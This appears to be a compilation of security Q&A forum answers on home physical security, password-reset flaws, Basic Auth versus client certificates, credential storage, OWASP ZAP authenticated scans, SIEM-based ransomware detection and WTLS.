The rules of security in the server room are very similar to the rules of security at home. First, there's the cost / benefit trade-off, and that's often a tight ratio in the home market. Additionally, cost is more than just the price. For example, windows are a weak point in building security. That can be countered by placing steel roller doors over the windows. Even if they're cheap, they're still damn ugly and may pose a fire hazard trade-off since you can't get out of your house when they're closed.

So, the question is what you're trying to defend against. This is a great way to get comfy with the idea of "Threat modeling." For surreptitious entry, use detection rather than access control. Upload a picture to a remote site whenever motion is detected. It's cheaper and can be used to try and track down the thief.

Your goal after that is also to slow them down a lot. If you can bolt / lock / fill with concrete anything enough to make it take 10 minutes from the time you're notified until the time where somebody could reasonably run away with it, you'll probably get to keep it. Drive a few screws with an unusual head through your computer case and into the platform (wood?) below it. If your desk is designed at all like mine, the computer sits in a box that's part of the desk structure. Slap a lock on it. Even those simple security cables for laptops will help and most desktop chassis now are compatible with them (Kensington lock slot).

Where we often want to keep people out for a long time / completely in the IT / Industrial world, your home is mostly about delay, delay, delay. To that effect, most American residential locks are crap and I've lived in some places where I can pick the front door as fast as I can put the real key into it. If you're looking for good locks, the folks from Security Snobs have vendor booths at DEFCON and some other events and have positively intimidating looking locks. Alternately, just get any lock that costs at least $25 and isn't made with buttons.

Finally, just lock your windows. If you've ever locked yourself out of your own home, it's the first thing you look at to get in. You're not the only one to think that. Like SQL injection, it is still a top weakness.


Why did my provider reset my password after someone else attempted to gain access to my account?

This is an absolute breach of security. Even if their policy was somehow sound, sending the password in plaintext to you in an email means that the reset is useless, and as you said, if the attacker had access to your email the security questions wouldn't do squat.

They should have done nothing as the security question answered was invalid. The best thing to do, IMHO, is to go a step further and block the user from answering questions for a defined period. Notifying you is a proper step, but changing the password just makes it useless.

I'd ask them a simple question: "if you're going to send me (or someone pretending to be me with access to my email) a password if I/someone else guess the security question wrong, what's the point of security questions?"


Will it be safer to use self sign CA and client certification in the company for a private website?

I'm coming from the assumption that you don't leave any backdoor open in either of the methods, and choose high-entropy passwords for Basic Auth. In that case, the biggest difference between the methods is that HTTPS will encrypt the traffic and prevent Man-in-the-Middle Attacks, making it impossible for anyone to eavesdrop, whereas Basic Auth will not.

So in that sense, the HTTPS based method is more secure.

You could get the same benefits regarding encrypted traffic for Basic Auth by adding HTTPS with a certificate that is commonly trusted by browsers (not requiring client-side authentication apart from Basic Auth)

In practical terms, you don't have to have the same password for everyone in the company. I think this is the greatest security flaw apart from any method, if security is a concern. Instead, you could have individual accounts (or client-side certificates) for each person. If a person leaves, you only have to invalidate that account. It also gives you the ability to detect who, and from where, uses certain accounts, and if an account is identified as compromised, you can close that account without affecting others.

The best of all worlds, also counting practicality, would be Basic Auth with individual accounts combined with a commonly trusted HTTPS cert.

If you are willing to compromise security, for example by having a single account for everyone, quote "so we can use less time to manage it", then I don't know why there is a debate about TLS/Basic Auth in the first place, because no encryption can compensate for an insecure handling of information.


Can SMS messages be traced when they come from a computer?

There is Data retention requirement for various country telco. AWS SNS is simply a services proxy to SMS telco, so, no exception.

However, since it is a lucrative business for both telco and Phish spammer as point out here, and it take expensive resources to track down and shutdown the operation, so you will not see the end of it.


Can a ratter use your webcam undetected?

Yes, it is possible to deactivate the webcam active light. Here, here, and here all show examples of security researchers doing it.


What is the safest way to encrypt a password that can be decrypted at a later time?

In most cases, what seems like the best way to handle this is to use the functionality provided by your OS to store credentials and password.

On OSX and iOS, you can use keychain. Under Windows, you can use the credential manager (also called password vault), DPAPI or the certificate store, depending on what exactly you want to do. In any case, I suggest you head to Stackoverflow and ask implementation specific systems.


OWASP ZAP teaching spider to use custom header

Authenticated scans are tricky beasts. They do work, but can be tricky to set up. We have a FAQ which explains about form based auth: https://github.com/zaproxy/zaproxy/wiki/FAQformauth - its still relevant to other forms of auth, esp the trouble shooting section.

You can also inject headers directly using the Replacer add-on.


Using a SIEM solution to monitor ramsonware is fairly simple. Explaining it in a high level: If you enable "file audit" logs on your OS you will receive logs every time a file is changed. Ransomware basically encrypts (changes) several files in a very short period of time. Based on that, you can create a rule in your SIEM to detect this burst in "file changed" events and generate a incident once a threshold is reached.
Something like this: "If there are more than 500 file modification events in less than 5 minutes for the same log source, create an incident".
It is important to mention that enabling "file audit" logs can increase considerably your EPS rate. In my opinion, enabling file audit brings a lot of monitoring capabilities (and help a lot in forensic cases), but keep in mind the EPS increase. For this reason, I do recommend you to implement in this in phases. For example, first enable the file audit logs to 10-15 computers and analyse the EPS increase. In the second phase, more 40-50 computers.. and so on..
Also, you should activate intelligence feeds into your SIEM. Those feeds contain "blacklists" of Command&Control servers, so if any of your computers connect to those C&C servers you will get an alert.
If you want to learn more about this topic, I wrote a post in my blog about this. It's more focused on IBM QRadar, but you can easily adapt to any SIEM solution.


WTLS is a derivative of TLS with optimizations for size, especially for the handshake messages (suppression of redundancies, more efficient encoding, compression...). WTLS also tries to be more "packet-friendly" (TLS works over a bidirectional stream and ignores any notion of packet, thus it breaks data into records based on its on internal needs; WTLS tries to make the TLS-like layer more aware of the size of individual underlying packets).

Apparently WTLS has been superseded with "plain TLS"; so says this document (slide 19). I guess that the purported optimizations where not really effective in practice.

Also, there is a more standard packet-aware TLS derivative called DTLS.